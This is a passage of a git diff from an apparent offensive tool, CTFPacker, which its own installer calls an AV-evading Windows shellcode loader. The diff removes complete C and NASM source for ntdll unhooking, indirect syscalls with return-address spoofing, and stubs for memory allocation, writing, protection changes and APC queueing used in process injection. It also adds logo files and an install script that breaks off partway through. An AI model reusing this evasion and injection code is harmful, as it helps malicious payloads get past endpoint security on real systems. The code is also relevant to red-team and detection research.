LARGE_INTEGER WriteOperationCount; - LARGE_INTEGER OtherOperationCount; - LARGE_INTEGER ReadTransferCount; - LARGE_INTEGER WriteTransferCount; - LARGE_INTEGER OtherTransferCount; - // SYSTEM_THREAD_INFORMATION TH[1]; -} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; - diff --git a/Windows/templates/stageless/unhook.c b/Windows/templates/stageless/unhook.c deleted file mode 100644 index ae29a8a..0000000 --- a/Windows/templates/stageless/unhook.c +++ /dev/null @@ -1,131 +0,0 @@ -/* - - Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection - -*/ - -#include - -#include "structs.h" -#include "functions.h" -#include - -#pragma comment(lib, "ntdll") -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#define OBJ_CASE_INSENSITIVE 0x00000040L - -#define NtCurrentProcess() ((HANDLE)-1) -#define _CRT_SECURE_NO_WARNINGS - -typedef const UNICODE_STRING* PCUNICODE_STRING; - -NTSYSAPI VOID RtlInitUnicodeString( - PUNICODE_STRING DestinationString, - __drv_aliasesMem PCWSTR SourceString - ); - -typedef struct _OBJECT_ATTRIBUTES -{ - ULONG Length; - HANDLE RootDirectory; - PCUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; - PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE -} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; - - -typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID* BaseAddress, - ULONG_PTR ZeroBits, - SIZE_T CommitSize, - PLARGE_INTEGER SectionOffset, - PSIZE_T ViewSize, - DWORD InheritDisposition, - ULONG AllocationType, - ULONG Win32Protect - ); - -NTSTATUS NtOpenSection( - OUT PHANDLE SectionHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes -); - -#define InitializeObjectAttributes(p, n, a, r, s) { \ - (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ - (p)->RootDirectory = r; \ - (p)->Attributes = a; \ - (p)->ObjectName = n; \ - (p)->SecurityDescriptor = s; \ - (p)->SecurityQualityOfService = NULL; \ - } - - -LPVOID MapNtdll() { - - UNICODE_STRING DestinationString; - const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 }; - - RtlInitUnicodeString(&DestinationString, SourceString); - - OBJECT_ATTRIBUTES ObAt; - InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL); - - - HANDLE hSection; - NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt); - if (!NT_SUCCESS(status1)) { - //printf("[!] Failed in NtOpenSection (%u)\n", GetLastError()); - return NULL; - } - - PVOID pntdll = NULL; - ULONG_PTR ViewSize = 0; - - MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#)); - NTSTATUS status2 = pNtMapViewOfSection(hSection, NtCurrentProcess(), &pntdll, 0, 0, NULL, &ViewSize, 1, 0, PAGE_READONLY); - if (!NT_SUCCESS(status2)) { - //printf("[!] Failed in NtMapViewOfSection (%u)\n", GetLastError()); - getchar(); - return NULL; - } - return pntdll; -} - -BOOL Unhook(LPVOID module) { - - HANDLE hntdll = GetModuleHandleH(#-NTDLL_VALUE-#); - - PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module; - PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(module)+DOSheader->e_lfanew); - if (!NTheader) { - //printf(" [-] Not a PE file\n"); - return FALSE; - } - - PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader); - DWORD oldprotect = 0; - - for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) { - - char txt[] = { '.','t','e','x','t', 0 }; - - if (!strcmp((char*)sectionHdr->Name, txt)) { - BOOL status1 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldprotect); - if (!status1) - return FALSE; - - memcpy((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), (LPVOID)((DWORD64)module + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize); - - BOOL status2 = VirtualProtect((LPVOID)((DWORD64)hntdll + sectionHdr->VirtualAddress), sectionHdr->Misc.VirtualSize, oldprotect, &oldprotect); - if (!status2) - return FALSE; - - } - return TRUE; - } - -} \ No newline at end of file diff --git a/Windows/templates/stageless/whispers-asm.x64.asm b/Windows/templates/stageless/whispers-asm.x64.asm deleted file mode 100644 index fadce88..0000000 --- a/Windows/templates/stageless/whispers-asm.x64.asm +++ /dev/null @@ -1,123 +0,0 @@ -; =============================================================== -; NASM x64 version of your assembly. -; Save as "whispers-asm.nasm", for example. -; Assemble: nasm -f win64 whispers-asm.nasm -o whispers-asm.obj -; Link: x86_64-w64-mingw32-gcc main.c whispers-asm.obj -o myprogram.exe -; =============================================================== - -bits 64 ; 64-bit code -default rel ; Use RIP-relative addressing by default - -section .text - -; Export the labels so your C code can call them -global NTAVM -global NTPVM -global NTWVM -global NTQAT - -; Declare external symbols (the calls to these are in your code) -extern SW3_GetSyscallNumber -extern SW3_GetRandomSyscallAddress - -; --------------------------------------------------------------------------- -; NTAVM -; --------------------------------------------------------------------------- -NTAVM: - mov [rsp + 8], rcx ; Save registers - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0xC189CD1E ; Load function hash into ECX - call SW3_GetRandomSyscallAddress - mov r11, rax ; Save the address of the syscall - - mov ecx, 0xC189CD1E ; Re-load function hash (optional) - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] ; Restore registers - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 ; Jump to -> Invoke system call - -; --------------------------------------------------------------------------- -; NTPVM -; --------------------------------------------------------------------------- -NTPVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x159D0313 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x159D0313 ; Re-load function hash - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTWVM -; --------------------------------------------------------------------------- -NTWVM: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x83179B97 ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x83179B97 - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; --------------------------------------------------------------------------- -; NTQAT -; --------------------------------------------------------------------------- -NTQAT: - mov [rsp + 8], rcx - mov [rsp + 16], rdx - mov [rsp + 24], r8 - mov [rsp + 32], r9 - - sub rsp, 0x28 - mov ecx, 0x88AE129F ; Load function hash - call SW3_GetRandomSyscallAddress - mov r11, rax - - mov ecx, 0x88AE129F - call SW3_GetSyscallNumber - - add rsp, 0x28 - mov rcx, [rsp + 8] - mov rdx, [rsp + 16] - mov r8, [rsp + 24] - mov r9, [rsp + 32] - mov r10, rcx - jmp r11 - -; End of file diff --git a/Windows/templates/stageless/whispers.c b/Windows/templates/stageless/whispers.c deleted file mode 100644 index 96c0ae6..0000000 --- a/Windows/templates/stageless/whispers.c +++ /dev/null @@ -1,278 +0,0 @@ -#include "whispers.h" -#include - -//#define DEBUG - -#define JUMPER - -#ifdef _M_IX86 - -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { - return (PVOID)__readfsdword(0xC0); -} - -__declspec(naked) BOOL local_is_wow64(void) -{ - __asm { - mov eax, fs:[0xc0] - test eax, eax - jne wow64 - mov eax, 0 - ret - wow64: - mov eax, 1 - ret - } -} - - -#endif - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -SW3_SYSCALL_LIST SW3_SyscallList; - -// SEARCH_AND_REPLACE -#ifdef SEARCH_AND_REPLACE -// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release -EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); -#endif - -DWORD SW3_HashSyscall(PCSTR FunctionName) -{ - DWORD i = 0; - DWORD Hash = SW3_SEED; - - while (FunctionName[i]) - { - WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); - Hash ^= PartialName + SW3_ROR8(Hash); - } - - return Hash; -} - -#ifndef JUMPER -PVOID SC_Address(PVOID NtApiAddress) -{ - return NULL; -} -#else -PVOID SC_Address(PVOID NtApiAddress) -{ - DWORD searchLimit = 512; - PVOID SyscallAddress; - - #ifdef _WIN64 - // If the process is 64-bit on a 64-bit OS, we need to search for syscall - BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; - ULONG distance_to_syscall = 0x12; - #else - // If the process is 32-bit on a 32-bit OS, we need to search for sysenter - BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; - ULONG distance_to_syscall = 0x0f; - #endif - - #ifdef _M_IX86 - // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved - if (local_is_wow64()) - { - #ifdef DEBUG - printf("[+] Running 32-bit app on x64 (WOW64)\n"); - #endif - return NULL; - } - #endif - - // we don't really care if there is a 'jmp' between - // NtApiAddress and the 'syscall; ret' instructions - SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); - - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - // we can use the original code for this system call :) - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // the 'syscall; ret' intructions have not been found, - // we will try to use one near it, similarly to HalosGate - - for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) - { - // let's try with an Nt* API below our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall + num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - - // let's try with an Nt* API above our syscall - SyscallAddress = SW3_RVA2VA( - PVOID, - NtApiAddress, - distance_to_syscall - num_jumps * 0x20); - if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) - { - #if defined(DEBUG) - printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); - #endif - return SyscallAddress; - } - } - -#ifdef DEBUG - printf("Syscall Opcodes not found!\n"); -#endif - - return NULL; -} -#endif - - -BOOL SW3_PopulateSyscallList() -{ - // Return early if the list is already populated. - if (SW3_SyscallList.Count) return TRUE; - - #ifdef _WIN64 - PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); - #else - PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); - #endif - PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; - PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; - PVOID DllBase = NULL; - - // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second - // in the list, so it's safer to loop through the full list and find it. - PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; - for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) - { - DllBase = LdrEntry->DllBase; - PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; - PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); - PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; - DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; - if (VirtualAddress == 0) continue; - - ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); - - // If this is NTDLL.dll, exit loop. - PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); - - if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; - if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; - } - - if (!ExportDirectory) return FALSE; - - DWORD NumberOfNames = ExportDirectory->NumberOfNames; - PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); - PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); - PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); - - // Populate SW3_SyscallList with unsorted Zw* entries. - DWORD i = 0; - PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; - do - { - PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); - - // Is this a system call? - if (*(USHORT*)FunctionName == 0x775a) - { - Entries[i].Hash = SW3_HashSyscall(FunctionName); - Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; - Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); - - i++; - if (i == SW3_MAX_ENTRIES) break; - } - } while (--NumberOfNames); - - // Save total number of system calls found. - SW3_SyscallList.Count = i; - - // Sort the list by address in ascending order. - for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) - { - for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) - { - if (Entries[j].Address > Entries[j + 1].Address) - { - // Swap entries. - SW3_SYSCALL_ENTRY TempEntry; - - TempEntry.Hash = Entries[j].Hash; - TempEntry.Address = Entries[j].Address; - TempEntry.SyscallAddress = Entries[j].SyscallAddress; - - Entries[j].Hash = Entries[j + 1].Hash; - Entries[j].Address = Entries[j + 1].Address; - Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; - - Entries[j + 1].Hash = TempEntry.Hash; - Entries[j + 1].Address = TempEntry.Address; - Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; - } - } - } - - return TRUE; -} - -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return -1; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return i; - } - } - - return -1; -} - -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - for (DWORD i = 0; i < SW3_SyscallList.Count; i++) - { - if (FunctionHash == SW3_SyscallList.Entries[i].Hash) - { - return SW3_SyscallList.Entries[i].SyscallAddress; - } - } - - return NULL; -} - -EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) -{ - // Ensure SW3_SyscallList is populated. - if (!SW3_PopulateSyscallList()) return NULL; - - DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; - - while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ - // Spoofing the syscall return address - index = ((DWORD) rand()) % SW3_SyscallList.Count; - } - return SW3_SyscallList.Entries[index].SyscallAddress; -} diff --git a/Windows/templates/stageless/whispers.h b/Windows/templates/stageless/whispers.h deleted file mode 100644 index 82c24e8..0000000 --- a/Windows/templates/stageless/whispers.h +++ /dev/null @@ -1,100 +0,0 @@ -#pragma once - -// Code below is adapted from @modexpblog. Read linked article for more details. -// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams - -#ifndef SW3_HEADER_H_ -#define SW3_HEADER_H_ - -#include - -#ifndef _NTDEF_ -typedef _Return_type_success_(return >= 0) LONG NTSTATUS; -typedef NTSTATUS* PNTSTATUS; -#endif - -#define SW3_SEED 0x51EBD349 -#define SW3_ROL8(v) (v << 8 | v >> 24) -#define SW3_ROR8(v) (v >> 8 | v << 24) -#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) -#define SW3_MAX_ENTRIES 600 -#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) - -// Typedefs are prefixed to avoid pollution. - -typedef struct _SW3_SYSCALL_ENTRY -{ - DWORD Hash; - DWORD Address; - PVOID SyscallAddress; -} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; - -typedef struct _SW3_SYSCALL_LIST -{ - DWORD Count; - SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; -} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; - -typedef struct _SW3_PEB_LDR_DATA { - BYTE Reserved1[8]; - PVOID Reserved2[3]; - LIST_ENTRY InMemoryOrderModuleList; -} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; - -typedef struct _SW3_LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; -} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; - -typedef struct _SW3_PEB { - BYTE Reserved1[2]; - BYTE BeingDebugged; - BYTE Reserved2[1]; - PVOID Reserved3[2]; - PSW3_PEB_LDR_DATA Ldr; -} SW3_PEB, *PSW3_PEB; - -DWORD SW3_HashSyscall(PCSTR FunctionName); -BOOL SW3_PopulateSyscallList(); -EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); -EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); -EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); -typedef VOID(KNORMAL_ROUTINE) ( - IN PVOID NormalContext, - IN PVOID SystemArgument1, - IN PVOID SystemArgument2); - -typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; - -EXTERN_C NTSTATUS NTAVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN ULONG ZeroBits, - IN OUT PSIZE_T RegionSize, - IN ULONG AllocationType, - IN ULONG Protect); - -EXTERN_C NTSTATUS NTPVM( - IN HANDLE ProcessHandle, - IN OUT PVOID * BaseAddress, - IN OUT PSIZE_T RegionSize, - IN ULONG NewProtect, - OUT PULONG OldProtect); - -EXTERN_C NTSTATUS NTWVM( - IN HANDLE ProcessHandle, - IN PVOID BaseAddress, - IN PVOID Buffer, - IN SIZE_T NumberOfBytesToWrite, - OUT PSIZE_T NumberOfBytesWritten OPTIONAL); - -EXTERN_C NTSTATUS NTQAT( - IN HANDLE ThreadHandle, - IN PKNORMAL_ROUTINE ApcRoutine, - IN PVOID ApcArgument1 OPTIONAL, - IN PVOID ApcArgument2 OPTIONAL, - IN PVOID ApcArgument3 OPTIONAL); - -#endif diff --git a/assets/Full-Logo-red-black.svg b/assets/Full-Logo-red-black.svg new file mode 100644 index 0000000..7286d11 --- /dev/null +++ b/assets/Full-Logo-red-black.svg @@ -0,0 +1,483 @@ + +Created with Fabric.js 6.7.1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CTFPACKER + + + + + \ No newline at end of file diff --git a/assets/Full-Logo.svg b/assets/Full-Logo.svg new file mode 100644 index 0000000..490e616 --- /dev/null +++ b/assets/Full-Logo.svg @@ -0,0 +1,11 @@ + +Created with Fabric.js 6.7.1 + + + + + + + + + \ No newline at end of file diff --git a/assets/Logo.png b/assets/Logo.png new file mode 100644 index 0000000..3114b1b Binary files /dev/null and b/assets/Logo.png differ diff --git a/install.sh b/install.sh new file mode 100644 index 0000000..b629996 --- /dev/null +++ b/install.sh @@ -0,0 +1,316 @@ +#!/usr/bin/env bash +# ============================================================================= +# CTFPacker – Automated Installer for Debian-based systems +# Tested on: Kali Linux, Ubuntu 22.04+, Debian 12+ +# ============================================================================= +set -euo pipefail + +# ── Colours ────────────────────────────────────────────────────────────────── +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +CYAN='\033[0;36m' +BOLD='\033[1m' +NC='\033[0m' + +log_info() { echo -e "${CYAN}[*]${NC} $*"; } +log_success() { echo -e "${GREEN}[+]${NC} $*"; } +log_warn() { echo -e "${YELLOW}[!]${NC} $*"; } +log_error() { echo -e "${RED}[-]${NC} $*" >&2; } +log_banner() { echo -e "\n${BOLD}${CYAN}$*${NC}\n"; } + +# ── Root check ─────────────────────────────────────────────────────────────── +if [[ $EUID -ne 0 ]]; then + log_error "This script must be run as root." + echo -e " Try: ${YELLOW}sudo bash install.sh${NC}" + exit 1 +fi + +# ── Debian/apt check ───────────────────────────────────────────────────────── +if ! command -v apt-get &>/dev/null; then + log_error "apt-get not found." + log_error "This installer only supports Debian-based systems (Kali Linux, Ubuntu, Debian)." + exit 1 +fi + +# ── Resolve the real (non-root) user that invoked sudo ─────────────────────── +# pipx must be run as the actual user, not root, so binaries land in +# ~/.local/bin of the invoking user rather than /root/.local/bin. +REAL_USER="${SUDO_USER:-$USER}" +REAL_HOME="$(getent passwd "$REAL_USER" | cut -d: -f6)" +PIPX_BIN="$REAL_HOME/.local/bin" + +# ── Paths ──────────────────────────────────────────────────────────────────── +SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +LINUX_DIR="$SCRIPT_DIR/Linux" + +if [[ ! -d "$LINUX_DIR" ]]; then + log_error "Linux/ directory not found. Make sure you run this from the CTFPacker root." + exit 1 +fi + +# ── Banner ─────────────────────────────────────────────────────────────────── +echo "" +echo -e "${RED}${BOLD}" +cat << 'EOF' + + ▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███ +▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒ +▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒ +▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄ +▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒ +░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░ + ░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░ +░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░ +░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ +░ ░ + +EOF +echo -e "${NC}" +echo -e " ${CYAN}Automated Installer — Debian-based systems${NC}" +echo -e " ${CYAN}Author: mocha | https://mochabyte.xyz${NC}" +echo "" + +# ============================================================================= +# STEP 1 — APT packages +# ============================================================================= +log_banner "STEP 1/3 — Installing APT dependencies" + +APT_PKGS=( + clang # Clang compiler (cross-compilation) + lld # LLVM linker (used with -fuse-ld=lld) + make # GNU Make + nasm # Netwide Assembler (for SysWhispers asm) + mingw-w64 # MinGW-w64 cross-compilation toolchain + python3 # Python 3 interpreter + pipx # Isolated Python app installer + osslsigncode # PE code signing (optional, needed for -pfx) +) + +log_info "Updating package lists..." +apt-get update -qq + +log_info "Installing: ${APT_PKGS[*]}" +DEBIAN_FRONTEND=noninteractive apt-get install -y "${APT_PKGS[@]}" + +log_success "APT packages installed." + +# ============================================================================= +# STEP 2 — pipx install +# ============================================================================= +log_banner "STEP 2/3 — Installing CTFPacker via pipx" + +# Ensure pipx's bin dir is on PATH for this session +export PATH="$PIPX_BIN:$PATH" + +# pipx ensurepath writes to the real user's shell rc files +log_info "Running pipx ensurepath for user '$REAL_USER' ..." +sudo -u "$REAL_USER" pipx ensurepath --force + +# If a previous install exists, reinstall cleanly +if sudo -u "$REAL_USER" pipx list 2>/dev/null | grep -q "ctfpacker"; then + log_warn "Existing ctfpacker pipx install found — reinstalling." + sudo -u "$REAL_USER" pipx uninstall ctfpacker +fi + +log_info "Installing CTFPacker package (from $LINUX_DIR) ..." +sudo -u "$REAL_USER" pipx install "$LINUX_DIR" + +log_success "CTFPacker installed via pipx." +log_info "Binaries are available at: $PIPX_BIN" + +# ============================================================================= +# STEP 2b — Desktop entry (.desktop file + icon) +# ============================================================================= +log_banner "STEP 2b/3 — Installing desktop application entry" + +ICON_DIR="$REAL_HOME/.local/share/icons" +APPS_DIR="$REAL_HOME/.local/share/applications" +DESKTOP_PATH="$APPS_DIR/ctfpacker-gui.desktop" + +mkdir -p "$ICON_DIR" "$APPS_DIR" + +# ── PNG icon (bundled Logo.png from assets/) ────────────────────────────────── +LOGO_SRC="$SCRIPT_DIR/assets/Logo.png" +ICON_PATH="$ICON_DIR/ctfpacker.png" + +if [[ -f "$LOGO_SRC" ]]; then + cp "$LOGO_SRC" "$ICON_PATH" + chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$ICON_PATH" + chmod 644 "$ICON_PATH" + log_success "Icon installed → $ICON_PATH" +else + log_warn "assets/Logo.png not found — desktop icon will be missing." + ICON_PATH="ctfpacker" # fall back to XDG theme lookup +fi + +# ── .desktop file ───────────────────────────────────────────────────────────── +cat > "$DESKTOP_PATH" << DESKTOPEOF +[Desktop Entry] +Version=1.0 +Type=Application +Name=CTFPacker GUI +GenericName=Shellcode Packer +Comment=AV-evading Windows shellcode loader for CTFs and pentest exams +Exec=$PIPX_BIN/ctfpacker-gui +Icon=$ICON_PATH +Terminal=false +Categories=Security;Development; +Keywords=ctf;pentest;shellcode;packer;redteam;av;evasion; +StartupWMClass=CTFPacker +StartupNotify=true +DESKTOPEOF + +chown "$REAL_USER":"$(id -gn "$REAL_USER")" "$DESKTOP_PATH" +chmod 644 "$DESKTOP_PATH" +log_success "Desktop entry installed → $DESKTOP_PATH" + +# Refresh the desktop database so the launcher picks it up immediately +if command -v update-desktop-database &>/dev/null; then + sudo -u "$REAL_USER" update-desktop-database "$APPS_DIR" 2>/dev/null || true + log_success "Desktop database updated." +fi + +# GTK icon cache refresh (GNOME / XFCE) +if command -v gtk-update-icon-cache &>/dev/null; then + gtk-update-icon-cache -f -t "$ICON_DIR" 2>/dev/null || true +fi + +# ============================================================================= +# STEP 2c — Shell aliases (ctfp / ctfpg) +# ============================================================================= +ALIAS_BLOCK=' +# ── CTFPacker aliases ──────────────────────────────────────────────────────── +alias ctfp="ctfpacker" +alias ctfpg="ctfpacker-gui" +# ────────────────────────────────────────────────────────────────────────────' + +install_aliases() { + local rc_file="$1" + if [[ -f "$rc_file" ]]; then + if grep -q 'CTFPacker aliases' "$rc_file" 2>/dev/null; then + log_warn "Aliases already present in $rc_file — skipping." + else + echo "$ALIAS_BLOCK" >> "$rc_file" + log_success "Aliases added to $rc_file" + fi + fi +} + +BASHRC="$REAL_HOME/.bashrc" +ZSHRC="$REAL_HOME/.zshrc" + +install_aliases "$BASHRC" +install_aliases "$ZSHRC" + +# Apply immediately to the current (root) session so the verify step can see them +# shellcheck disable=SC1090 +eval "alias ctfp='ctfpacker'; alias ctfpg='ctfpacker-gui'" + +# ============================================================================= +# STEP 3 — Verify toolchain +# ============================================================================= +log_banner "STEP 3/3 — Verifying toolchain" + +MISSING=() + +check_tool() { + local tool="$1" + local display="${2:-$1}" + if command -v "$tool" &>/dev/null; then + log_success "${display} → $(command -v "$tool")" + else + log_warn "${display} → NOT FOUND in PATH" + MISSING+=("$tool") + fi +} + +check_tool "clang" 